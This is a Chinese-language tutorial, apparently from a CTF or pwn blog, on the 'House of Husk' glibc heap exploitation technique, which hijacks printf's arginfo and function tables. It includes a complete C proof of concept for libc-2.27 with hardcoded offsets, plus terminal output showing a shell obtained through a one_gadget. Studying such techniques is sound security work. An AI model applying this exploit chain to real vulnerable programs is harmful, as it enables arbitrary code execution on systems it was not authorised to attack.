0%

House Of Husk-原理

House Of Husk

这种攻击方式主要是利用了printf的一个调用链:

1
printf -> vfprintf -> printf_positional -> __parse_one_specmb -> __printf_arginfo_table(spec) 

应用场景是:

  • 只能分配较大chunk时(超过fastbin)
  • 存在或可以构造出UAF漏洞

House Of Husk 原理

使用 printf 类格式化字符串函数进行输出的时候,该类函数 会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出 ,在glibc中有这样一个函数 __register_printf_function ,为格式化字符为 spec 的格式化输出 注册函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef int printf_function (FILE *__stream,
__const struct printf_info *__info,
__const void *__const *__args);
typedef int printf_arginfo_function (__const struct printf_info *__info,
size_t __n, int *__argtypes);

static printf_function *printf_funcs[UCHAR_MAX + 1]; /* 没什么用 */

printf_function **__printf_function_table;
printf_arginfo_function *__printf_arginfo_table[UCHAR_MAX + 1];

/*
这里需要注意一下:
libc-2.23会把__printf_function_table初始化为一个函数指针
libc-2.27会把__printf_function_table初始化为一个指针数组
*/

int
__register_printf_function (spec, converter, arginfo)
int spec;
printf_function converter;
printf_arginfo_function arginfo;
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

__printf_function_table = printf_funcs;
__printf_arginfo_table[spec] = arginfo;
printf_funcs[spec] = converter;

return 0;
}
  • __printf_function_table:类型为 printf_function 的函数指针(printf_funcs),是我们为 chr(spec) 这个格式化字符 注册的输出函数的函数指针
  • __printf_arginfo_table:类型为 printf_arginfo_function 的指针数组,[spec] 索引处的类型为 printf_arginfo_size_function 的函数指针是我们为 chr(spec) 这个格式化字符 注册的输出函数的另一个函数指针,其功能是根据格式化字符做解析
  • 这个 spec 索引就是格式化字符的 ascii 码值,比如:printf(“%s”),那么这里的 spec 索引就是s的ascii码值

当程序检测到 printf_arginfo_function 中,对应的 spec 索引中有函数指针时,程序就会尝试用该函数指针指向的函数来解析对应的 spec 索引(至于 __printf_function_table 会发生什么其实不重要,只要它不为空就好),如果里面装着 one_gadget 的话就获取 shell 了

House Of Husk 的一大核心则是伪造 __printf_arginfo_table__printf_function_table

  • __printf_arginfo_table :在对应的 spec 索引中写入 one_gadget
  • __printf_function_table :不为空就好

至于怎么伪造这两个表呢?这是 House Of Husk 的又一大核心,看看下面的案例就清楚了

House Of Husk 利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* Husk's method - House of Husk
* This PoC is supposed to be run with libc-2.27
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdin, NULL);
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500);
/* 用于模拟UAF的chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
/* 用于伪造__printf_function_table */
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
/* 用于伪造__printf_arginfo_table */
a[3] = malloc(0x500);
/* 防止和top chunk合并 */

free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* 释放a[0]同时泄露libc_base */

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* 将__printf_arginfo_table['X']处的函数指针改为one_gadget */
/* PS:这里的“-2”实际上是减去“presize”和“size” */

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* 使用unsorted bin attack,改写global_max_fast为main_arena+88,从而使得释放的所有块都按fastbin处理 */

/* overwrite __printf_arginfo_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// __printf_arginfo_table => one_gadget

/* ignite! */
getchar();
printf("%X", 0);

return 0;
}
1
2
3
4
5
6
7
➜  桌面 gcc ./test.c -g -fPIE -no-pie -o test
➜ 桌面 patchelf --set-interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 test
➜ 桌面 ./test
libc @ 0x7f7edf71f000

$ whoami
yhellow
  • 程序先利用 unsortedbin 泄露 libc_base
  • 然后利用 UAF 来进行 unsortedbin attack 在 GLOBAL_MAX_FAST 中写入 main_arena + 88
  • 接下来在 fake __printf_arginfo_table 中,把 ‘X’ 的 spec 索引替换为 one_gadget
  • 最后的两个 free 会把 “a[1] , a[2]” 装入 fastbin 中,然后这两个表就已经成功覆盖了

看上去很玄幻,但其实是利用了 main_arena 的特性:

fastbin 的堆块地址会存放在 main_arena 中,从 main_arena+8 存放 fastbin[0x20] 的头指针开始,一直往后推,由于平时的 fastbin 默认阈值为 0x80 ,所以在 glibc-2.23 的环境下最多存放到 main_arena+0x48 ,现在我们将阈值改为 main_arena + 88 导致几乎所有 size 的 chunk 都被当做fastbin,其地址会从 main_arena+8 开始,根据 size 不同往 libc 覆写堆地址

所以只要 size 的大小合适,就可能会覆盖到 __printf_arginfo_table__printf_function_table

利用条件

  • UAF
  • 有修改模块
  • 可以申请较大size的chunk